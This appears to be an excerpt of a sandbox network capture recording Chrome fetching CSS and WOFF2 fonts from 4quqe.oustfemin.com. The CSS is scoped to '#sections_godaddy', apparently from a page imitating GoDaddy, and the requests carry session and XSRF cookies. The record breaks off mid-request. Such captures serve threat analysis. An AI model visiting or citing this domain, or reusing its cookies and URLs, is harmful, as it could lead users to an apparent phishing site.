2024-08-23 14:21:54 UTC	1369	IN	Data Raw: 6f 64 61 64 64 79 20 2e 75 78 2d 74 65 78 74 2d 69 6e 70 75 74 2d 73 68 65 6c 6c 20 2e 75 78 2d 74 65 78 74 2d 63 61 70 74 69 6f 6e 20 7b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 36 70 78 3b 0d 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 33 70 78 3b 0d 0a 7d 0d 0a 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 66 69 65 6c 64 2d 66 72 61 6d 65 2e 75 78 2d 66 69 65 6c 64 2d 66 72 61 6d 65 2d 2d 69 6e 76 61 6c 69 64 20 7b 0d 0a 20 20 20 20 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 23 44 42 31 38 30 32 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 61 6c 65 72 74 2e 75 78 2d 61 6c 65 72 74 2d 2d 63 72 69 74 69 63 61 6c 20 7b 0d 0a 20 Data Ascii: odaddy .ux-text-input-shell .ux-text-caption { margin-top: 6px; font-size: 13px;}#sections_godaddy .ux-field-frame.ux-field-frame--invalid { border-color: #DB1802 !important;}#sections_godaddy .ux-alert.ux-alert--critical {
2024-08-23 14:21:54 UTC	1369	IN	Data Raw: 78 3b 0d 0a 20 20 68 65 69 67 68 74 3a 20 31 70 78 3b 0d 0a 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0d 0a 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0d 0a 20 20 2d 77 65 62 6b 69 74 2d 63 6c 69 70 3a 20 72 65 63 74 28 30 2c 30 2c 30 2c 30 29 3b 0d 0a 20 20 63 6c 69 70 3a 20 72 65 63 74 28 30 2c 30 2c 30 2c 30 29 3b 0d 0a 20 20 77 68 69 74 65 2d 73 70 61 63 65 3a 20 6e 6f 77 72 61 70 3b 0d 0a 20 20 2d 77 65 62 6b 69 74 2d 63 6c 69 70 2d 70 61 74 68 3a 20 69 6e 73 65 74 28 35 30 25 29 3b 0d 0a 20 20 63 6c 69 70 2d 70 61 74 68 3a 20 69 6e 73 65 74 28 35 30 25 29 3b 0d 0a 20 20 62 6f 72 64 65 72 3a 20 30 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 68 32 20 7b 0d 0a 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 30 3b Data Ascii: x; height: 1px; padding: 0; overflow: hidden; -webkit-clip: rect(0,0,0,0); clip: rect(0,0,0,0); white-space: nowrap; -webkit-clip-path: inset(50%); clip-path: inset(50%); border: 0;}#sections_godaddy h2 { margin-top: 0;
2024-08-23 14:21:54 UTC	1369	IN	Data Raw: 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0d 0a 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0d 0a 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0d 0a 20 20 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 38 70 78 3b 0d 0a 20 20 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 20 38 70 78 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 63 6f 6e 74 61 69 6e 65 72 3a 3a 61 66 74 65 72 20 7b 0d 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 22 3b 0d 0a 20 20 64 69 73 70 6c 61 79 3a 20 74 61 62 6c 65 3b 0d 0a 20 20 63 6c 65 61 72 3a 20 62 6f 74 68 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 72 6f 77 20 7b 0d 0a 20 20 6d 61 72 67 69 Data Ascii: #sections_godaddy .container { margin-left: auto; margin-right: auto; padding-left: 8px; padding-right: 8px;}#sections_godaddy .container::after { content: ""; display: table; clear: both;}#sections_godaddy .row { margi
2024-08-23 14:21:54 UTC	1369	IN	Data Raw: 2e 75 78 2d 63 61 72 64 20 2e 63 61 72 64 2d 62 6c 6f 63 6b 20 7b 0d 0a 20 20 70 61 64 64 69 6e 67 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 2d 31 73 62 66 69 67 38 2c 2e 32 35 72 65 6d 29 20 2a 20 35 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 66 6f 6e 74 2d 70 72 69 6d 61 72 79 2d 62 6f 6c 64 20 7b 0d 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 61 72 28 2d 2d 75 78 2d 31 30 36 37 70 68 39 2c 73 61 6e 73 2d 73 65 72 69 66 29 3b 0d 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 65 72 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 62 75 74 74 6f 6e 3a 6e 6f 74 28 5b 68 72 65 66 5d 29 3e 2a 20 7b 0d 0a 20 20 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a Data Ascii: .ux-card .card-block { padding: calc(var(--ux-1sbfig8,.25rem) * 5);}#sections_godaddy .font-primary-bold { font-family: var(--ux-1067ph9,sans-serif); font-weight: bolder;}#sections_godaddy .ux-button:not([href])>* { pointer-events:
2024-08-23 14:21:54 UTC	1369	IN	Data Raw: 2d 68 36 65 37 63 31 2c 23 66 66 66 29 29 3b 0d 0a 20 20 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 75 78 2d 34 68 76 6f 76 6e 2c 76 61 72 28 2d 2d 75 78 2d 31 78 6c 69 75 68 69 2c 74 72 61 6e 73 70 61 72 65 6e 74 29 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 62 75 74 74 6f 6e 2e 75 78 2d 62 75 74 74 6f 6e 2d 70 72 69 6d 61 72 79 20 7b 0d 0a 20 20 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0d 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 30 30 30 3b 0d 0a 20 20 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 23 30 30 30 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 62 75 74 74 6f 6e 2e 75 78 2d 62 75 74 74 6f 6e 2d 70 72 69 6d 61 72 79 3a Data Ascii: -h6e7c1,#fff)); border-color: var(--ux-4hvovn,var(--ux-1xliuhi,transparent));}#sections_godaddy .ux-button.ux-button-primary { color: #fff; background-color: #000; border-color: #000;}#sections_godaddy .ux-button.ux-button-primary:
2024-08-23 14:21:54 UTC	1143	IN	Data Raw: 74 2d 2d 6c 69 6e 65 48 65 69 67 68 74 3a 20 76 61 72 28 2d 2d 75 78 2d 6e 65 6f 75 79 6e 2c 76 61 72 28 2d 2d 75 78 2d 68 6d 31 74 79 37 2c 31 2e 35 29 29 3b 0d 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 61 72 28 2d 2d 75 78 2d 6f 35 39 31 79 6a 2c 76 61 72 28 2d 2d 75 78 2d 39 77 74 61 61 33 2c 73 61 6e 73 2d 73 65 72 69 66 29 29 3b 0d 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 76 61 72 28 2d 2d 75 78 2d 31 30 39 35 78 30 64 2c 76 61 72 28 2d 2d 75 78 2d 33 7a 36 63 63 64 2c 34 30 30 29 29 3b 0d 0a 20 20 66 6f 6e 74 2d 76 61 72 69 61 74 69 6f 6e 2d 73 65 74 74 69 6e 67 73 3a 20 76 61 72 28 2d 2d 75 78 2d 6a 31 33 38 78 38 2c 76 61 72 28 2d 2d 75 78 2d 65 37 32 37 74 38 2c 69 6e 68 65 72 69 74 29 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 Data Ascii: t--lineHeight: var(--ux-neouyn,var(--ux-hm1ty7,1.5)); font-family: var(--ux-o591yj,var(--ux-9wtaa3,sans-serif)); font-weight: var(--ux-1095x0d,var(--ux-3z6ccd,400)); font-variation-settings: var(--ux-j138x8,var(--ux-e727t8,inherit));}#secti

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.16	49783	188.114.96.3	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:53 UTC	1470	OUT	GET /pqpqRMJ4f8kf8yzq5wjwx36 HTTP/1.1 Host: 4quqe.oustfemin.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://4quqe.oustfemin.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://4quqe.oustfemin.com/UBEEARDRFZBLCIYKXAUWBWRAHOCMNEGDQH2433266666869621683651896985349085yhwb2tjkdd31cqa3v86btzc56cuaqwuv36?guhzhqadixxzzfhbiawieewvbiufnckvcamtf392tn15ul1pchape2e3xncc1p6b0d Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlZOV0U5WUg4T1BKb2pHTWFObWI3UFE9PSIsInZhbHVlIjoicC9Dbm9TaVVLNTJsRGtSdWU1N3ZJZ3QvVWdtTDJmRGhhQ2JNMGUvckM4aU9HOHArT2VVSDlVcnNJb2dJaHMrOUhxRldESVRjdFVTOXovWC9yUDlLcS9vVkVLQWtENzRmY2VOeCs3TGEySVg2b0I3OGh0WEo3eEFvUDFURlpVQTgiLCJtYWMiOiI1ZWIzMzJmMmRiNjFkYzMzZDkyYTM3OTMyYTFjZWI1YzgxZWYzMTYwOTE5MTI0YzFiYzZmMDQ2YTE4NzNjNTYwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlpSLzZ3c3lreEg5d1JqTitFVFpnYkE9PSIsInZhbHVlIjoiNFYyamREZXlGbjVPYlNoZTNXUHB3d0VMdURFbUFsUTFWM2JONi9FdUR5aE1rUiszU2xPZ01XbkcvbVlkY2hDeHpRdnI1OWw1dXF4blFFRnd6S0tTQjlQTkFlVjA1cktxRkJVZFpCcThLWE5idFFsdE5aWk53UkEyN3FIT2E4d3EiLCJtYWMiOiI4NjY3MDkyMjljMjA0MWM1ZjJlODMwNDAwOWUxZmViMTQxNmIwNzQ4NzhmMDM1ZDZjYWIxZWMyNDBiZWI2MmUzIiwidGFnIjoiIn0%3D
2024-08-23 14:21:54 UTC	616	IN	HTTP/1.1 200 OK Date: Fri, 23 Aug 2024 14:21:54 GMT Content-Type: font/woff2 Content-Length: 28000 Connection: close Content-Disposition: inline; filename="pqpqRMJ4f8kf8yzq5wjwx36" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mc4RxQSu1o8A4hkdVA23RfH83hf3Gbd5ujOq0ju%2FbNEKtR7N75p1okYYa21egUCFfiZpHGz2S05FM5YOERxrXaSi3riU%2BnFWTF8eZmEoIGwRh1d9GtXuifesmaF6dg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8b7bc06a0b837298-EWR
2024-08-23 14:21:54 UTC	753	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 6d 60 00 10 00 00 00 01 24 08 00 00 6c fd 00 01 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 81 9d 36 1c 89 16 06 60 00 8e 3c 08 3c 09 97 62 11 08 0a 82 bb 24 82 9c 7f 01 36 02 24 03 8e 78 0b 87 3e 00 04 20 05 8c 03 07 97 7b 0c 81 0d 5b 09 10 71 05 6b b7 5d 5d 4f 88 db 06 10 73 b3 fd a9 7c 99 02 6e 8c 9b c7 21 18 d6 5b 3c 3b 10 83 ee e0 50 26 a6 cf 67 ff ff ff bf 21 a9 c8 98 49 27 69 b7 0d 51 01 44 50 d5 df 9f c4 1e 39 02 92 4a a0 06 b7 80 17 c1 39 47 eb 95 e9 98 51 31 28 8b f2 29 4a 6e c6 19 d5 d4 c5 d4 38 59 f3 d2 1b f9 1a 98 29 4a ce 46 0e 63 20 41 96 af 37 6b ab 76 b3 8b e9 32 3d a1 5a ee 6e fa 34 60 12 ed 81 a0 c0 7e 4e 6c a4 81 ef 34 3b aa 91 07 53 f6 6c 7b 77 c7 c7 3a ae 23 d5 ee aa 3d 21 bc 20 Data Ascii: wOF2m`$lB6`<<b$6$x> {[qk]]Os\|n![<;P&g!I'iQDP9J9GQ1()Jn8Y)JFc A7kv2=Zn4`~Nl4;Sl{w:#=!
2024-08-23 14:21:54 UTC	1369	IN	Data Raw: b0 50 00 7c 22 4d 93 ae 4a 51 a6 00 02 1a e0 df 3f 60 01 fc 53 40 7b df ed 6f 97 f6 52 6a 43 45 a1 71 78 8f 70 92 21 28 57 69 9f a4 1b eb 64 59 b5 25 ff 2f 72 f2 23 13 70 04 e7 43 20 15 c4 93 e2 e9 00 00 81 82 83 f3 72 1e 6f 34 50 f1 7d e4 e6 7f 33 58 92 99 5d 88 fc f3 a2 d4 ae 01 36 f2 9e 27 7e 26 b0 d3 c0 5d b7 b4 a7 2a 79 09 f4 8f b6 ff 59 51 82 a7 39 e1 22 76 b7 c3 17 cb 33 f0 af 90 a0 d9 6f 45 4d 51 6f 57 4d 16 57 60 cc 85 de 1f 9a 8a 01 13 c4 07 db cc a4 0e 94 94 10 82 59 08 56 81 8a 4f 32 11 7f ee f1 f8 f4 6c 83 02 c7 ac 9d 70 01 31 87 f4 42 a5 c2 bf 46 6e 0e 7f 6f 10 3c d0 ab a8 2c 43 8f f7 0f fd 97 f8 5e c0 59 e6 43 00 b6 fe 57 ae e9 b6 74 58 e2 11 7c a8 60 d2 a6 bc 97 35 3a f7 59 64 40 5d e5 12 6a 18 bb 24 b6 dc ca 76 b6 2a 43 18 44 fe 71 a9 99 Data Ascii: P\|"MJQ?`S@{oRjCEqxp!(WidY%/r#pC ro4P}3X]6'~&]yYQ9"v3oEMQoWMW`YVO2lp1BFno<,C^YCWtX\|`5:Yd@]j$vCDq
2024-08-23 14:21:54 UTC	1369	IN	Data Raw: cf 32 9d 4d e7 8a 0a 96 48 c8 6c 22 d8 b5 a2 1b ed 62 bc b1 36 52 21 05 95 14 c7 81 94 35 dc bc 61 7e c1 b4 7a 90 11 b4 ca 1d 10 b9 22 0a 08 40 c0 9b 31 90 dc 27 05 17 40 40 05 00 50 85 55 b6 46 4e 76 17 a1 cf f8 91 28 18 bc 86 dd 28 8a 0d 6e 1d 26 6e 7d 95 e8 90 58 8c 91 02 38 4a a0 94 87 e5 5a 50 e2 4c bc d0 25 06 2b 80 8c c4 05 99 9c 71 86 d8 29 ca 83 fb a6 88 8f df 77 45 f5 08 aa 72 b3 dd 04 90 49 e7 01 a0 73 40 15 14 14 29 cb f1 82 58 04 82 31 5a 02 29 dc 92 31 91 53 51 02 a6 fa 29 2a 80 d8 45 b8 e5 49 0f 90 d8 00 4a f9 09 a8 6e 75 4c 81 89 2f 00 77 7d b0 d2 75 b4 ea 9a ae 67 98 3e 3c 14 be 13 55 48 55 f9 1e 60 2e ed fc 69 cf da b5 42 06 20 96 20 07 60 a8 05 c2 4c f9 e3 9b e0 38 ab d1 83 9b 3a 8b 85 5e ca a3 dc 75 85 2b e0 30 ac 55 ea ed 61 ee f8 95 Data Ascii: 2MHl"b6R!5a~z"@1'@@PUFNv((n&n}X8JZPL%+q)wErIs@)X1Z)1SQ)*EIJnuL/w}ug><UHU`.iB `L8:^u+0Ua
2024-08-23 14:21:54 UTC	1369	IN	Data Raw: aa 76 68 dd 8c 5b 2f 6b 9f 1d b3 c9 cf 85 80 7e 4d 7d 1c 44 b5 56 8e d5 c6 7d 25 c4 02 3b 1b 15 6b 50 8d 7e cb ba 24 26 a5 bb 63 d1 11 53 27 2b df 09 8c 31 2c f4 05 2d 8e 9d 58 08 42 45 de 45 e3 4e a2 83 07 5d cd 4a 33 e0 b5 97 e1 ae c5 ad d6 f0 84 e2 b0 3c c6 03 e7 41 3f 7a 78 70 cc 8c 76 2e 02 cf b0 85 b1 bb 8b 6f c8 80 02 d5 9e 4a 0a a0 e3 4b b7 9b 9f c2 a6 10 af 98 9a 67 7a 8f e4 ad 45 d1 58 cc 2e ad 55 97 e2 39 c3 32 ea cd 24 ff 27 7b 73 5b b5 87 25 e3 73 aa 4d 39 f0 18 1c e6 1b 82 af d3 ba d2 3c 76 ce 79 bf b0 50 9d c3 58 69 34 3f af 43 4d 37 3b 6c 0d ce 6f 77 95 ec 53 d8 54 86 b1 6d 91 2a 74 76 a0 4a b1 bf 18 8f 94 7e cf d7 cf f4 a0 5e 55 14 0e 79 da 72 32 2d 41 57 0e 69 b4 3f 77 7c c5 7f e3 8f 3f 86 9b ff 3b dd 9e 48 b6 50 f6 da 04 3c 9d 93 59 bf Data Ascii: vh[/k~M}DV}%;kP~$&cS'+1,-XBEEN]J3<A?zxpv.oJKgzEX.U92$'{s[%sM9<vyPXi4?CM7;lowSTm*tvJ~^Uyr2-AWi?w\|?;HP<Y
2024-08-23 14:21:54 UTC	1369	IN	Data Raw: 6a 07 4d d1 ff 28 8b fc 6c d2 51 9d 0e 83 9d 22 5c e7 48 fc 92 05 99 2d cc c3 68 90 eb c1 5c 1c b1 24 18 71 2e 08 a3 6c db c7 5b cb 58 47 63 ba 7c 3d 91 9d bf 11 44 11 fd a1 6b 70 7b ee c6 de 50 49 44 db ef aa dc 2c 43 d6 77 cc 1f aa ac 43 7b cb 87 68 e6 c2 24 ef 71 39 38 ea ca 50 a1 dd a1 b9 16 af e7 5b 36 1a a3 68 7d b7 d1 9b 19 9e 1c 5e da b3 75 d6 19 24 b3 60 d0 95 e7 b7 0d b0 2c 6e a1 9e a0 81 cf 5d 0e 63 53 f1 46 00 2f bb fe 1f 70 a5 9e 58 1d 8b e9 75 3b 36 ba 42 6c 18 29 19 db c5 7e 29 4e 35 47 ef 03 d3 11 c4 6b cc 5c b2 8c 98 87 f1 b4 13 7a 4a eb 68 53 1d d1 cd 11 38 50 f8 a2 27 ad a6 67 78 4b 59 17 a6 07 71 e0 18 1c 10 0b 1d 4d 5f a1 68 c3 41 66 ce 84 77 dd 8c a7 e9 0d 2d 3e d3 90 90 f7 e2 a7 6d b2 50 7a fd 83 9e 09 59 ba 40 ff ba d9 2a 6d a3 f0 Data Ascii: jM(lQ"\H-h\$q.l[XGc\|=Dkp{PID,CwC{h$q98P[6h}^u$`,n]cSF/pXu;6Bl)~)N5Gk\zJhS8P'gxKYqM_hAfw->mPzY@*m
2024-08-23 14:21:54 UTC	1369	IN	Data Raw: 67 15 d4 4b a0 1c 83 ae 60 ec ae 01 51 24 52 a8 17 ec d7 e5 02 86 d6 f7 93 a3 02 4c fd 08 2e 8c 51 67 00 58 f0 b7 dd 29 00 ab bc b1 63 95 3a c0 e5 1b 8e 84 eb 18 37 bb ef 5b d7 78 fc 7d eb 19 6f bf 0f 7d 63 b3 00 00 20 24 28 4c 1c 20 c3 ee 31 20 a1 ae 01 e7 67 65 60 3c ab 00 96 58 09 ac 4a bb 44 03 43 dd 38 d9 f3 a2 2b cd a5 b3 5c 2d 6b ac c0 93 b0 6f fd 3a 04 fd 22 2e c2 be 55 37 a0 58 93 20 c4 cf 40 e9 fe 01 ff a3 bf 02 54 df f1 8b 37 d2 18 b9 b2 03 8d 66 21 96 60 25 57 88 a6 3f f3 e8 ee 9c 1a f8 ec 5f 95 a3 57 af 34 dc c0 f6 14 72 54 dc 81 7e 73 3e 7a 37 c6 fa dd 84 b2 82 b7 a0 7a 70 7b fd bf 42 d0 4f eb 28 a4 30 55 01 23 24 61 8a 97 2a 35 0e da f7 f4 cd 10 22 2c 42 aa 28 31 81 9a 39 89 24 32 0a 29 54 d2 64 c9 91 a7 40 89 a2 74 11 35 59 a3 4e 03 4d d9 Data Ascii: gK`Q$RL.QgX)c:7[x}o}c $(L 1 ge`<XJDC8+\-ko:".U7X @T7f!`%W?_W4rT~s>z7zp{BO(0U#$a*5",B(19$2)Td@t5YNM
2024-08-23 14:21:54 UTC	1369	IN	Data Raw: 60 4f 3c e0 20 be 10 e4 01 3d a8 7d a6 28 9b 38 a1 c5 64 57 74 3d ec 7f 7d 08 26 bd 16 95 ea 5b 16 b0 5d d2 de b5 6e b9 e3 ae 7b 6e 6b 72 28 f0 1d 1b 15 eb 74 db 4d 9d ae bb 2f 4e a5 f6 c0 61 4c 1d c7 6e b4 0c 4d bd 43 5d 9c ee 65 37 b8 ea ff 8d 8b ca 96 bb eb 56 d5 5a 4d 90 d4 e4 b5 76 87 e4 8d 45 7d 9a 48 7b 15 e0 5a c2 73 b4 ee 2e be 04 f8 b4 7e c7 da 3d f4 f5 ed 7a 5a 3f ac 25 b2 36 32 5a f6 5f c0 4a 1d ff a4 c9 f4 bf f6 4f f8 3a c0 5c 92 fa 51 9c be bf bc 3e 88 6f 28 0a 9c e4 45 91 5e ff 83 f9 e0 35 e2 f6 53 a6 99 64 a7 9e 68 3c 39 c1 74 f8 af 2d f4 6b e8 e9 d0 0e 42 8c e0 02 a8 36 9f 40 50 6b 72 08 44 df 89 c3 a0 23 f1 be 82 8f 9f a6 6c c8 ea e2 70 81 d8 e7 08 a7 65 e7 73 8e 16 c3 78 1e d8 5f dd 27 48 e7 20 ba 7f 9a bb 53 d4 32 c3 c3 11 59 11 56 41 Data Ascii: `O< =}(8dWt=}&[]n{nkr(tM/NaLnMC]e7VZMvE}H{Zs.~=zZ?%62Z_JO:\Q>o(E^5Sdh<9t-kB6@PkrD#lpesx_'H S2YVA
2024-08-23 14:21:54 UTC	1369	IN	Data Raw: 7b e2 5f aa f0 6f 0a fc 99 a3 fe 7b 4f fc 4f 15 fe 4f f1 7a c1 4f 5d c3 5e e8 fa 49 b7 d0 0e 70 d3 ad 1f fb c9 d3 33 05 10 1c 9c 8f f4 d8 f9 ab 65 5f 2e 9e fa 31 5c 0f 80 47 2e 03 e8 af 1b ab 78 90 19 8c 5c 3d 16 50 9e 10 aa b7 bb f1 96 e9 e8 50 5a 57 99 89 cb 42 8c 4f a5 c6 83 b0 72 71 d2 e9 5c 2c 8d e9 08 ac 4c 5d e9 e1 2a 2c 52 ba 08 9f 4a 8e 07 a1 28 86 32 a7 dd c8 b8 a8 8b 07 a7 74 ba 73 43 a8 e0 ea ca f2 67 58 b7 fe e2 8b 5d 0d dd c5 61 5a 55 59 9a 0f cd a5 7c b3 55 ed 6b 08 d9 3e 2e e8 14 eb a1 c6 2d 23 31 06 d3 5c 07 73 91 a5 48 f6 10 c2 65 09 59 44 d5 32 9e c2 c0 67 88 49 29 63 f6 60 86 66 ae f7 aa d0 58 94 7c 06 f4 ab 58 8e d0 72 36 8b 19 fb d1 96 1d 44 50 d7 90 6d 47 b6 20 cc 83 76 4d b5 21 b9 79 ec 7d 89 41 6e 78 78 e8 81 87 f5 4d cb 09 b0 1a Data Ascii: {_o{OOOzO]^Ip3e_.1\G.x\=PPZWBOrq\,L]*,RJ(2tsCgX]aZUY\|Uk>.-#1\sHeYD2gI)c`fX\|Xr6DPmG vM!y}AnxxM
2024-08-23 14:21:54 UTC	1369	IN	Data Raw: 1c 69 5d bf cc a1 e8 ac ef 3b f9 0a 24 ed 13 15 ac 4d 28 6d ea 7c 96 81 ad 6b 76 cb f2 ea 9a 98 e8 b3 84 7a ce d7 ad d3 1a f7 5d b8 96 7f e0 ef fb 3e d2 ff 10 71 be 45 2d 8d b5 93 2a 9f 2a fe 87 98 cc f7 1a 0f e6 a6 af f9 2b 26 34 d7 d6 39 10 09 be 2e 9e f0 d4 8e 33 b4 8b 19 e5 a9 9d 73 66 58 9e dc dc f7 04 ae e0 53 fd d4 74 7f cd 9a 76 7c 53 74 7a b8 41 07 9a 43 e8 66 29 ea 9d 9e 9c 9f 60 5e dc a2 67 a2 89 2e 8a 3d 6a 11 03 df b2 c3 35 2d db bf 54 8e 2c e8 63 02 b6 b6 82 1f 1e 48 3c 04 3a 4d 54 d0 ba 1b 7f cf 00 55 2a 7c 3c 7a f7 c0 a9 d4 3c 3a e4 66 3e 91 cb 46 cd d4 3b 3d 5e 7c 75 77 09 fc 80 de 6b 83 b1 31 20 03 f7 52 5b 17 79 79 fc fa e3 c7 fe 67 66 0b 87 1e ce e4 67 4f 5f 86 a5 da ce f5 c1 0b 83 57 1e 81 d4 75 41 77 3a b7 59 8b b0 34 ec d4 02 d2 0c Data Ascii: i];$M(m\|kvz]>qE-*+&49.3sfXStv\|StzACf)`^g.=j5-T,cH<:MTU\|<z<:f>F;=^\|uwk1 R[yygfgO_WuAw:Y4
2024-08-23 14:21:54 UTC	1369	IN	Data Raw: 7c 11 96 dd 39 50 c7 5c e8 b6 f3 ef e1 f8 f4 af 76 d7 04 6c a5 5b 5e a5 1f 82 e5 c8 48 75 02 05 a3 99 05 4b 0b cf 39 99 9b 44 e9 29 d2 4f e0 4d 76 5e eb d9 c9 2a 51 3c d3 98 aa 7e 11 1f 98 ae d2 2b d3 a4 f9 9a 0c b7 3d 84 70 b2 dd be ff 15 fd d3 ca ed c7 5a e4 3b 4f 4d 7e fe de f7 38 7c 59 78 f5 45 72 48 c9 b4 a5 47 d1 4f d6 15 62 27 b3 8b 70 d3 fa a2 3e a2 bc 65 ae 08 dd f4 4c 26 b8 0e bb 11 81 6e 8c ee b3 4e 29 73 93 b2 4d 47 db 14 36 f3 fd ef 69 4c 75 77 3d d1 4d 84 97 19 e8 a7 6b fe ff f9 e1 fa fd 4c a2 2c c7 1e 8d a7 96 3f 2a d7 8f 3f 1f 03 bf fd da ba fb e8 7b 75 c5 a3 0a fe 9a ef 16 b0 ec ef b4 ce b9 94 ed 47 9b 64 db 4f 4d ac 65 d4 fc 88 ba 28 3c ff 22 39 a2 6a b1 ac 41 de 47 d1 17 e3 ce e4 66 86 cf a8 ea 07 b9 46 7e 13 54 1d 4f 2d de cc 88 5a 41 Data Ascii: \|9P\vl[^HuK9D)OMv^Q<~+=pZ;OM~8\|YxErHGOb'p>eL&nN)sMG6iLuw=MkL,??{uGdOMe(<"9jAGfF~TO-ZA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.16	49782	188.114.96.3	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:53 UTC	1471	OUT	GET /12zn8d0uaFJ78HnWlT1iop49 HTTP/1.1 Host: 4quqe.oustfemin.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://4quqe.oustfemin.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://4quqe.oustfemin.com/UBEEARDRFZBLCIYKXAUWBWRAHOCMNEGDQH2433266666869621683651896985349085yhwb2tjkdd31cqa3v86btzc56cuaqwuv36?guhzhqadixxzzfhbiawieewvbiufnckvcamtf392tn15ul1pchape2e3xncc1p6b0d Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlZOV0U5WUg4T1BKb2pHTWFObWI3UFE9PSIsInZhbHVlIjoicC9Dbm9TaVVLNTJsRGtSdWU1N3ZJZ3QvVWdtTDJmRGhhQ2JNMGUvckM4aU9HOHArT2VVSDlVcnNJb2dJaHMrOUhxRldESVRjdFVTOXovWC9yUDlLcS9vVkVLQWtENzRmY2VOeCs3TGEySVg2b0I3OGh0WEo3eEFvUDFURlpVQTgiLCJtYWMiOiI1ZWIzMzJmMmRiNjFkYzMzZDkyYTM3OTMyYTFjZWI1YzgxZWYzMTYwOTE5MTI0YzFiYzZmMDQ2YTE4NzNjNTYwIiwidGFnIjoiIn0%3D; 